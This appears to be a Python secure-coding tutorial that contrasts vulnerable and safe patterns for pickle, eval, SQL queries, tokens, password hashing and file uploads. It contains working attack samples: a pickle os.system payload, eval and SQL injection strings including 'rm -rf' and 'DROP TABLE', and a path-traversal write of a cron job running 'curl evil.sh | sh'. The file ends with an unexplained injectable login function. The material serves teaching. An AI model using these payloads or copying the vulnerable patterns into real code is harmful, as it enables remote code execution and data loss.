27 — Security

# ── Demonstration: a malicious pickle payload that executes arbitrary shell commands ──
# This is not a theoretical vulnerability — it's the DESIGNED behavior of the pickle protocol.
# pickle reconstructs objects by calling callables specified in the byte stream.

import pickle
import os

class MaliciousPayload:
    """When unpickled, __reduce__ tells pickle to call os.system with our args."""
    def __reduce__(self):
        # __reduce__ returns (callable, args_tuple) — pickle calls callable(*args) during load
        return (os.system, ("echo 'PWNED: arbitrary code executed via pickle'",))

# Serialize the exploit — this is just bytes, transferable over network/email/file
payload = pickle.dumps(MaliciousPayload())
print(f"Payload bytes: {payload[:50]}...")   # looks like innocuous binary data

# ANTI-PATTERN: unpickling data from any untrusted source
# pickle.loads(payload)   # EXECUTES os.system("echo 'PWNED...'") — no warning, no sandbox
# In production: this could be `rm -rf /`, `curl evil.sh | sh`, data exfiltration, etc.

# ── Production: HMAC-signed pickle for trusted internal serialization ──
# If you MUST use pickle for internal caching/IPC, sign the payload and verify BEFORE loading
import hmac
import hashlib

SECRET_KEY = b"your-hmac-secret-key-change-in-production-via-env-var"

def signed_dumps(obj) -> bytes:
    """Pickle + HMAC-SHA256 signature — signature prevents tampering."""
    payload = pickle.dumps(obj)
    signature = hmac.new(SECRET_KEY, payload, hashlib.sha256).digest()
    return signature + payload   # prepend 32-byte signature

def signed_loads(data: bytes):
    """Verify HMAC signature BEFORE unpickling — rejects any tampered payload."""
    if len(data) < 32:
        raise ValueError("payload too short to contain signature")
    signature, payload = data[:32], data[32:]
    expected = hmac.new(SECRET_KEY, payload, hashlib.sha256).digest()
    # compare_digest is CONSTANT-TIME — prevents timing attacks on signature comparison
    if not hmac.compare_digest(signature, expected):
        raise ValueError("invalid signature — payload may be tampered")
    return pickle.loads(payload)   # safe to load ONLY after signature verified

# Sign → transmit → verify → load
safe_payload = signed_dumps({"user": "ada", "role": "admin"})
print(f"Verified load: {signed_loads(safe_payload)}")   # works

# Tampered payload is rejected BEFORE pickle.loads runs
tampered = safe_payload[:31] + b"\\x00" + safe_payload[32:]   # flip one signature byte
try:
    signed_loads(tampered)
except ValueError as e:
    print(f"Rejected: {e}")   # "invalid signature" — pickle.loads never called

# ── Timing-safe token comparison — the production pattern ──
# ANTI-PATTERN: `==` on security tokens leaks information via timing

import secrets
import time

API_KEY = secrets.token_urlsafe(32)   # generate a real API key

def verify_key_unsafe(provided: str) -> bool:
    """VULNERABLE — == short-circuits at first mismatched character.
    An attacker can measure response time to determine correct prefix character-by-character."""
    return provided == API_KEY

def verify_key_safe(provided: str) -> bool:
    """CORRECT — secrets.compare_digest is constant-time.
    Takes the same duration regardless of WHERE strings differ (or even if they're equal)."""
    return secrets.compare_digest(provided, API_KEY)

# Demonstrate timing difference in unsafe comparison
# (In practice, network jitter masks this, but with enough samples it's exploitable)
import string

def timing_attack_demo():
    """Show that == leaks prefix information via response time."""
    timings = {}
    for char in string.ascii_letters + string.digits:
        guess = char + "A" * (len(API_KEY) - 1)   # guess first char, pad rest
        t0 = time.perf_counter_ns()
        verify_key_unsafe(guess)
        elapsed = time.perf_counter_ns() - t0
        timings[char] = elapsed

    # The correct first character will have slightly higher timing (more chars compared)
    correct_first = API_KEY[0]
    sorted_chars = sorted(timings, key=timings.get, reverse=True)
    print(f"Top 3 timing candidates for first char: {sorted_chars[:3]}")
    print(f"Actual first char: {correct_first}")
    # In a real attack, the attacker repeats this for each position

timing_attack_demo()
# Use verify_key_safe() in production — constant-time, no leakage

# WRONG — a "simple calculator" that evaluates user-supplied expressions
def calculate(expression):
    return eval(expression)

calculate("2 + 2")                                        # 4 — looks harmless
calculate("__import__('os').system('rm -rf /tmp/data')")   # arbitrary shell command — eval() has NO sandbox

# RIGHT — use ast.literal_eval for the "parse a literal" use case; it CANNOT execute arbitrary code
import ast

ast.literal_eval("2 + 2")               # ValueError — NOT a literal, refuses on purpose
ast.literal_eval("[1, 2, 3]")           # [1, 2, 3] — safe, only parses literal Python data structures
ast.literal_eval("{'a': 1, 'b': 2}")    # {'a': 1, 'b': 2}
# ast.literal_eval("__import__('os')")   # ValueError — refuses anything beyond literals, no code execution path

# RIGHT — for the "evaluate a math expression" use case, use a real expression parser/evaluator
import operator

_OPERATORS = {"+": operator.add, "-": operator.sub, "*": operator.mul, "/": operator.truediv}

def safe_calculate(a, op, b):
    if op not in _OPERATORS:
        raise ValueError(f"unsupported operator: {op}")
    return _OPERATORS[op](a, b)

import sqlite3

conn = sqlite3.connect("app.db")
cursor = conn.cursor()

# WRONG — building SQL via string formatting/concatenation
def get_user_wrong(username):
    query = f"SELECT * FROM users WHERE username = '{username}'"
    return cursor.execute(query).fetchone()

# an attacker-supplied username of:  ' OR '1'='1
# produces:  SELECT * FROM users WHERE username = '' OR '1'='1'
# which matches EVERY ROW in the table, bypassing the intended filter entirely
get_user_wrong("' OR '1'='1")

# a more destructive payload:  '; DROP TABLE users; --
# produces a second, attacker-controlled STATEMENT appended to the original query

# RIGHT — parameterized query: the driver sends the SQL and the data SEPARATELY,
# so user input can never be interpreted as SQL syntax, no matter what it contains
def get_user_correct(username):
    query = "SELECT * FROM users WHERE username = ?"
    return cursor.execute(query, (username,)).fetchone()

get_user_correct("' OR '1'='1")   # safely matches ZERO rows — treated as a literal, oddly-named username

# WRONG — an ORM does not automatically protect against injection if raw SQL fragments are used
from sqlalchemy import text

def search_wrong(engine, column_name, value):
    query = text(f"SELECT * FROM products WHERE {column_name} = :value")   # column_name is INTERPOLATED
    return engine.execute(query, {"value": value})   # value is parameterized, but column_name is NOT

# RIGHT — validate identifiers (column/table names) against a strict allowlist,
# since placeholders can only parameterize VALUES, never identifiers like column/table names
_ALLOWED_COLUMNS = {"name", "price", "category"}

def search_correct(engine, column_name, value):
    if column_name not in _ALLOWED_COLUMNS:
        raise ValueError(f"invalid column: {column_name}")
    query = text(f"SELECT * FROM products WHERE {column_name} = :value")
    return engine.execute(query, {"value": value})

import random
import secrets

# WRONG — random.random()/random.randint() use a Mersenne Twister PRNG,
# which is fast and great for simulations/games, but its output is PREDICTABLE
# if an attacker observes enough outputs — never use it for security-sensitive values
weak_token = "".join(random.choices("abcdefghijklmnopqrstuvwxyz0123456789", k=32))

# RIGHT — secrets uses the OS's cryptographically secure random source
strong_token = secrets.token_urlsafe(32)      # URL-safe, base64-based token
strong_hex = secrets.token_hex(32)              # hex-encoded token
api_key = secrets.token_bytes(32)                 # raw bytes, when a specific encoding isn't needed

import secrets

# WRONG — comparing secrets with == is vulnerable to a TIMING ATTACK:
# Python's == on strings short-circuits at the FIRST mismatched character,
# so comparison time leaks how many leading characters were correct
def check_token_wrong(provided, expected):
    return provided == expected

# RIGHT — constant-time comparison, takes the same time regardless of WHERE strings differ
def check_token_correct(provided, expected):
    return secrets.compare_digest(provided, expected)

import hashlib

# WRONG — MD5/SHA-256 are FAST hashes, designed for speed — the opposite of what password
# storage needs; fast hashes let an attacker with a stolen database try billions of
# guesses per second on commodity GPU hardware
def hash_password_wrong(password):
    return hashlib.sha256(password.encode()).hexdigest()

# RIGHT — a purpose-built password hash: slow by design, with built-in salting
import bcrypt

def hash_password_correct(password):
    return bcrypt.hashpw(password.encode(), bcrypt.gensalt())

def verify_password(password, hashed):
    return bcrypt.checkpw(password.encode(), hashed)

pip install pip-audit
pip-audit
# Found 2 known vulnerabilities in 1 package
# Name     Version ID                  Fix Versions
# -------- ------- ------------------- ------------
# requests 2.6.0   PYSEC-2018-28       2.20.0

uv pip audit                    # uv has a built-in equivalent

# .github/workflows/security.yml — run dependency audits automatically on every push
name: security
on: [push, pull_request]
jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-python@v5
        with:
          python-version: "3.12"
      - run: pip install pip-audit
      - run: pip-audit

import os
from pathlib import Path

UPLOAD_DIR = Path("/var/app/uploads")

# WRONG — naively joining user input into a path
def save_upload_wrong(filename, content):
    path = UPLOAD_DIR / filename
    path.write_bytes(content)

# an attacker-supplied filename of "../../etc/cron.d/malicious" ESCAPES the upload directory entirely
save_upload_wrong("../../etc/cron.d/malicious", b"* * * * * root curl evil.sh | sh")

# RIGHT — resolve the final path and verify it's still WITHIN the intended directory
def save_upload_correct(filename, content):
    candidate = (UPLOAD_DIR / filename).resolve()
    if not candidate.is_relative_to(UPLOAD_DIR.resolve()):
        raise ValueError("path traversal attempt detected")
    candidate.write_bytes(content)

import sqlite3

def login(username, password):
    conn = sqlite3.connect("app.db")
    cursor = conn.cursor()
    query = f"SELECT id FROM users WHERE username = '{username}' AND password = '{password}'"
    cursor.execute(query)
    return cursor.fetchone() is not None